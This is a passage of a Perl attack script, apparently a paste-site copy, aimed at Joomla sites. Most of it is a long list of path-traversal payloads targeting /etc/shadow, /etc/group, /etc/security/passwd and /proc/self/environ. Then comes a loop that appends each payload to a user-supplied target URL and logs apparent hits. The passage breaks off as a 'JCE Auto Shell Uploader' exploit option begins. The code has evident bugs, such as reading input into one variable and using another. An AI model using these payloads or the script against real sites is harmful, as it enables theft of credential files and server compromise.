..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron","%2Fproc%2Fself%2Fenviron%00","..%2Fproc%2Fself%2Fenviron%00","..%2F..%2Fproc%2Fself%2Fenviron%00","..%2F..%2F..%2Fproc%2Fself%2Fenviron%00","..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron%00","..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron%00","..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron%00","//proc/self/environ","....//proc/self/environ","....//....//proc/self/environ","....//....//....//proc/self/environ","....//....//....//....//proc/self/environ","....//....//....//....//....//proc/self/environ","....//....//....//....//....//....//proc/self/environ","....//....//....//....//....//....//....//proc/self/environ","....//....//....//....//....//....//....//....//proc/self/environ","....//....//....//....//....//....//....//....//....//proc/self/environ","....//....//....//....//....//....//....//....//....//....//proc/self/environ","//proc/self/environ%00","....//proc/self/environ%00","....//....//proc/self/environ%00","....//....//....//proc/self/environ%00","....//....//....//....//proc/self/environ%00","....//....//....//....//....//proc/self/environ%00","....//....//....//....//....//....//proc/self/environ%00","....//....//....//....//....//....//....//proc/self/environ%00","....//....//....//....//....//....//....//....//proc/self/environ%00","....//....//....//....//....//....//....//....//....//proc/self/environ%00","....//....//....//....//....//....//....//....//....//....//proc/self/environ%00","%2f%2Fproc/self/environ","....%2f%2Fproc/self/environ","....%2f%2F....%2f%2Fproc/self/environ","....%2f%2F....%2f%2F....%2f%2Fproc/self/environ","....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ","%2f%2Fproc/self/environ%00","....%2f%2Fproc/self/environ%00","....%2f%2F....%2f%2Fproc/self/environ%00","....%2f%2F....%2f%2F....%2f%2Fproc/self/environ%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fproc/self/environ%00","/etc/shadow","../etc/shadow","../../etc/shadow","../../../etc/shadow","../../../../etc/shadow","../../../../../etc/shadow","../../../../../../etc/shadow","../../../../../../../etc/shadow","../../../../../../../../etc/shadow","../../../../../../../../../etc/shadow","../../../../../../../../../../etc/shadow","/etc/shadow%00","../etc/shadow%00","../../etc/shadow%00","../../../etc/shadow%00","../../../../etc/shadow%00","../../../../../etc/shadow%00","../../../../../../etc/shadow%00","../../../../../../../etc/shadow%00","../../../../../../../../etc/shadow%00","../../../../../../../../../etc/shadow%00","../../../../../../../../../../etc/shadow%00","%2Fetc..%2Fshadow","..%2Fetc%2Fshadow","..%2F..%2Fetc%2Fshadow","..%2F..%2F..%2Fetc%2Fshadow","..%2F..%2F..%2F..%2Fetc%2Fshadow","..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow","%2Fetc..%2Fshadow%00","..%2Fetc%2Fshadow%00","..%2F..%2Fetc%2Fshadow%00","..%2F..%2F..%2Fetc%2Fshadow%00","..%2F..%2F..%2F..%2Fetc%2Fshadow%00","..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00","%2F%2Fetc/shadow","....%2f%2Fetc/shadow","....%2f%2F....%2f%2Fetc/shadow","....%2f%2F....%2f%2F....%2f%2Fetc/shadow","....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow","%2F%2Fetc/shadow%00","....%2f%2Fetc/shadow%00","....%2f%2F....%2f%2Fetc/shadow%00","....%2f%2F....%2f%2F....%2f%2Fetc/shadow%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/shadow%00","....//etc/shadow","....//....//etc/shadow","....//....//....//etc/shadow","....//....//....//....//etc/shadow","....//....//....//....//....//etc/shadow","....//....//....//....//....//....//etc/shadow","....//....//....//....//....//....//....//etc/shadow","....//....//....//....//....//....//....//....//etc/shadow","....//....//....//....//....//....//....//....//....//etc/shadow","....//....//....//....//....//....//....//....//....//....//etc/shadow","....//etc/shadow%00","....//....//etc/shadow%00","....//....//....//etc/shadow%00","....//....//....//....//etc/shadow%00","....//....//....//....//....//etc/shadow%00","....//....//....//....//....//....//etc/shadow%00","....//....//....//....//....//....//....//etc/shadow%00","....//....//....//....//....//....//....//....//etc/shadow%00","....//....//....//....//....//....//....//....//....//etc/shadow%00","....//....//....//....//....//....//....//....//....//....//etc/shadow%00","/etc/group","../etc/group","../../etc/group","../../../etc/group","../../../../etc/group","../../../../../etc/group","../../../../../../etc/group","../../../../../../../etc/group","../../../../../../../../etc/group","../../../../../../../../../etc/group","../../../../../../../../../../etc/group","/etc/group%00","../etc/group%00","../../etc/group%00","../../../etc/group%00","../../../../etc/group%00","../../../../../etc/group%00","../../../../../../etc/group%00","../../../../../../../etc/group%00","../../../../../../../../etc/group%00","../../../../../../../../../etc/group%00","../../../../../../../../../../etc/group%00","%2Fetc..%2Fgroup","..%2Fetc%2Fgroup","..%2F..%2Fetc%2Fgroup","..%2F..%2F..%2Fetc%2Fgroup","..%2F..%2F..%2F..%2Fetc%2Fgroup","..%2F..%2F..%2F..%2F..%2Fetc%2Fgroup","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fgroup","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fgroup","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fgroup","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fgroup","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fgroup","%2Fetc%2Fgroup%00","..%2Fetc%2Fgroup%00","..%2F..%2Fetc%2Fgroup%00","..%2F..%2F..%2Fetc%2Fgroup%00","..%2F..%2F..%2F..%2Fetc%2Fgroup%00","..%2F..%2F..%2F..%2F..%2Fetc%2Fgroup%00","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fgroup%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fgroup%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fgroup%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fgroup%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fgroup%00","%2F%2Fetc/group","....%2F%2Fetc/group","....%2F%2F....%2F%2Fetc/group","....%2F%2F....%2F%2F....%2F%2Fetc/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group","/etc/group%00","....%2F%2Fetc/group%00","....%2F%2F....%2F%2Fetc/group%00","....%2F%2F....%2F%2F....%2F%2Fetc/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/group%00","//etc/group","....//etc/group","....//....//etc/group","....//....//....//etc/group","....//....//....//....//etc/group","....//....//....//....//....//etc/group","....//....//....//....//....//....//etc/group","....//....//....//....//....//....//....//etc/group","....//....//....//....//....//....//....//....//etc/group","....//....//....//....//....//....//....//....//....//etc/group","....//....//....//....//....//....//....//....//....//....//etc/group","//etc/group%00","....//etc/group%00","....//....//etc/group%00","....//....//....//etc/group%00","....//....//....//....//etc/group%00","....//....//....//....//....//etc/group%00","....//....//....//....//....//....//etc/group%00","....//....//....//....//....//....//....//etc/group%00","....//....//....//....//....//....//....//....//etc/group%00","....//....//....//....//....//....//....//....//....//etc/group%00","....//....//....//....//....//....//....//....//....//....//etc/group%00","/etc/security/passwd","../etc/security/passwd","../../etc/security/passwd","../../../etc/security/passwd","../../../../etc/security/passwd","../../../../../etc/security/passwd","../../../../../../etc/security/passwd","../../../../../../../etc/security/passwd","../../../../../../../../etc/security/passwd","../../../../../../../../../etc/security/passwd","../../../../../../../../../../etc/security/passwd","/etc/security/passwd%00","../etc/security/passwd%00","../../etc/security/passwd%00","../../../etc/security/passwd%00","../../../../etc/security/passwd%00","../../../../../etc/security/passwd%00","../../../../../../etc/security/passwd%00","../../../../../../../etc/security/passwd%00","../../../../../../../../etc/security/passwd%00","../../../../../../../../../etc/security/passwd%00","../../../../../../../../../../etc/security/passwd%00","%2Fetc%2Fsecurity%2Fpasswd","..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","%2Fetc%2Fsecurity%2Fpasswd%00","..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....//etc/security/passwd","....//....//etc/security/passwd","....//....//....//etc/security/passwd","....//....//....//....//etc/security/passwd","....//....//....//....//....//etc/security/passwd","....//....//....//....//....//....//etc/security/passwd","....//....//....//....//....//....//....//etc/security/passwd","....//....//....//....//....//....//....//....//etc/security/passwd","....//....//....//....//....//....//....//....//....//etc/security/passwd","....//....//....//....//....//....//....//....//....//....//etc/security/passwd","....//etc/security/passwd%00","....//....//etc/security/passwd%00","....//....//....//etc/security/passwd%00","....//....//....//....//etc/security/passwd%00","....//....//....//....//....//etc/security/passwd%00","....//....//....//....//....//....//etc/security/passwd%00","....//....//....//....//....//....//....//etc/security/passwd%00","....//....//....//....//....//....//....//....//etc/security/passwd%00","....//....//....//....//....//....//....//....//....//etc/security/passwd%00","....//....//....//....//....//....//....//....//....//....//etc/security/passwd%00","/etc/security/passwd","../etc/security/passwd","../../etc/security/passwd","../../../etc/security/passwd","../../../../etc/security/passwd","../../../../../etc/security/passwd","../../../../../../etc/security/passwd","../../../../../../../etc/security/passwd","../../../../../../../../etc/security/passwd","../../../../../../../../../etc/security/passwd","../../../../../../../../../../etc/security/passwd","/etc/security/passwd%00","../etc/security/passwd%00","../../etc/security/passwd%00","../../../etc/security/passwd%00","../../../../etc/security/passwd%00","../../../../../etc/security/passwd%00","../../../../../../etc/security/passwd%00","../../../../../../../etc/security/passwd%00","../../../../../../../../etc/security/passwd%00","../../../../../../../../../etc/security/passwd%00","../../../../../../../../../../etc/security/passwd%00","%2Fetc%2Fsecurity%2Fpasswd","..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd","%2Fetc%2Fsecurity%2Fpasswd%00","..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fpasswd%00","....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd","....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/passwd%00","....//etc/security/passwd","....//....//etc/security/passwd","....//....//....//etc/security/passwd","....//....//....//....//etc/security/passwd","....//....//....//....//....//etc/security/passwd","....//....//....//....//....//....//etc/security/passwd","....//....//....//....//....//....//....//etc/security/passwd","....//....//....//....//....//....//....//....//etc/security/passwd","....//....//....//....//....//....//....//....//....//etc/security/passwd","....//....//....//....//....//....//....//....//....//....//etc/security/passwd","....//etc/security/passwd%00","....//....//etc/security/passwd%00","....//....//....//etc/security/passwd%00","....//....//....//....//etc/security/passwd%00","....//....//....//....//....//etc/security/passwd%00","....//....//....//....//....//....//etc/security/passwd%00","....//....//....//....//....//....//....//etc/security/passwd%00","....//....//....//....//....//....//....//....//etc/security/passwd%00","....//....//....//....//....//....//....//....//....//etc/security/passwd%00","....//....//....//....//....//....//....//....//....//....//etc/security/passwd%00","/etc/security/group","../etc/security/group","../../etc/security/group","../../../etc/security/group","../../../../etc/security/group","../../../../../etc/security/group","../../../../../../etc/security/group","../../../../../../../etc/security/group","../../../../../../../../etc/security/group","../../../../../../../../../etc/security/group","../../../../../../../../../../etc/security/group","/etc/security/group%00","../etc/security/group%00","../../etc/security/group%00","../../../etc/security/group%00","../../../../etc/security/group%00","../../../../../etc/security/group%00","../../../../../../etc/security/group%00","../../../../../../../etc/security/group%00","../../../../../../../../etc/security/group%00","../../../../../../../../../etc/security/group%00","../../../../../../../../../../etc/security/group%00","%2Fetc%2Fsecurity%2Fgroup","..%2Fetc%2Fsecurity%2Fgroup","..%2F..%2Fetc%2Fsecurity%2Fgroup","..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup","..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup","..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup","%2Fetc%2Fsecurity%2Fgroup%00","..%2Fetc%2Fsecurity%2Fgroup%00","..%2F..%2Fetc%2Fsecurity%2Fgroup%00","..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup%00","..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup%00","..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup%00","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fsecurity%2Fgroup%00","%2F%2Fetc/security/group","....%2F%2Fetc/security/group","....%2F%2F....%2F%2Fetc/security/group","....%2F%2F....%2F%2F....%2F%2Fetc/security/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group","%2F%2Fetc/security/group%00","....%2F%2Fetc/security/group%00","....%2F%2F....%2F%2Fetc/security/group%00","....%2F%2F....%2F%2F....%2F%2Fetc/security/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group%00","....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc/security/group%00","//etc/security/group","....//etc/security/group","....//....//etc/security/group","....//....//....//etc/security/group","....//....//....//....//etc/security/group","....//....//....//....//....//etc/security/group","....//....//....//....//....//....//etc/security/group","....//....//....//....//....//....//....//etc/security/group","....//....//....//....//....//....//....//....//etc/security/group","....//....//....//....//....//....//....//....//....//etc/security/group","....//....//....//....//....//....//....//....//....//....//etc/security/group","//etc/security/group%00","....//etc/security/group%00","....//....//etc/security/group%00","....//....//....//etc/security/group%00","....//....//....//....//etc/security/group%00","....//....//....//....//....//etc/security/group%00","....//....//....//....//....//....//etc/security/group%00","....//....//....//....//....//....//....//etc/security/group%00","....//....//....//....//....//....//....//....//etc/security/group%00","....//....//....//....//....//....//....//....//....//etc/security/group%00","....//....//....//....//....//....//....//....//....//....//etc/security/group%00");
  1398.  
  1399. print "\n\ Enter Target eg:http://www.site.com/index.php?option=com_jeauto&view=";
  1400. print "\n\ Target:";
  1401. $Target=<STDIN>;
  1402. chomp ($kkk);
  1403.  
  1404.  
  1405. foreach $LFI(@LFI){
  1406. my $URL = $kkk.$LFI;
  1407. my $Source = get $URL;
  1408. die "Can not get $URL" unless defined $URL;
  1409. if ($Source =~ m/root/i || m/usr/i || m/dev/i || m/:x:/i || m/var/i || m/bin/i) { $Message ="LFI Vulnerability FOUND";}
  1410. else { $Message = "NOT FOUND LFI Vulnerability";}
  1411. print "$URL     =>    $Message\n";
  1412. print "\n \n \n \n \t \t \t \t FINISH ";
  1413. open (TEXT, '>>LFI.txt');
  1414. print TEXT "\n$URL   =>   $Message \n\n";
  1415. close (TEXT);
  1416. print 'result in LFI.txt';
  1417. }
  1418. }
  1419.  
  1420. if($c eq '5')
  1421. {
  1422. system("title Joomla JCE vuln");
  1423. system("cls");
  1424. print color("green"), "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 .::.\n\n";
